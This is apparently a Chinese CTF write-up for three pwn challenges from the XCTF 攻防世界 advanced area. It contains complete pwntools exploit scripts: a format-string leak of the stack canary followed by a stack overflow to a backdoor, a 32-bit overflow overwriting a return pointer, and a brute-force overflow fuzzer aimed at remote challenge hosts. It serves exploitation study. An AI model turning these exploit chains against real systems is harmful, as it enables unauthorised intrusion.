攻防世界pwn进阶区
Mary_Morton
本题利用思路是先用格式化字符串漏洞泄露canary,之后利用栈溢出,让其返回到后门。
开局经典测格式化字符串的偏移

step=6
canary的偏移,距离是 0x90-8=0x88,填满覆盖canary。之后是0x88/8=17(64位每个格式化字符串8字节,除以8就是一个的),最后17+6=23,leak_canary

栈溢出直接返回后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import *
r=remote("111.200.241.244",56994)
r.recvuntil("3. Exit the battle ") r.sendline('2') leak_canary='%23$p' r.sendline(leak_canary) r.recvuntil('0x') canary=int(r.recv(16),16) print (canary) sh=0x4008da payload='a'*0x88+p64(canary)+'a'*8+p64(sh) r.recvuntil('3. Exit the battle') r.sendline('1') r.sendline(payload) r.interactive()
|
forgot
查

这题其实看着简单,考眼力。。

观察scanf发现v2可以溢出

分析函数的最后发现很明显就用v2覆盖v3,造成栈溢出。由代码看出v2v3之间0x74-0x54=0x20
然后有后门就直接ROP打了
1 2 3 4 5 6 7 8
| from pwn import * p=remote('111.200.241.244',55503) p.recvuntil("> ") p.sendline('1') payload='A'*0x20+p32(0x080486cc) p.recvuntil("> ") p.sendline(payload) p.interactive()
|
warmup
wp参考:(13条消息) 攻防世界PWN进阶区(warmup)_BurYiA的博客-CSDN博客
知识补充:模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。fuzz也就是盲打,在啥也没给的情况下一般就是fuzz
直接nc,发现有输出一个地址,还有输入点

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import *
addr = 0x40060d
def fuzz(r, num, flag): payload = 'a' * num if flag==1: payload += p32(addr) if flag==2: payload += p64(addr) r.recvuntil(">") r.sendline(payload)
def main(): for i in range(1000): print(i) for j in range(3): try: r = remote("111.198.29.45", 46588) fuzz(r, i, j) text = r.recv() print('text.len='+str(len(text))+'text='+text) print('num='+str(i)+' flag='+str(j)) r.interactive() except: r.close()
if __name__ == '__main__': main()
|
脚本跑完就出来了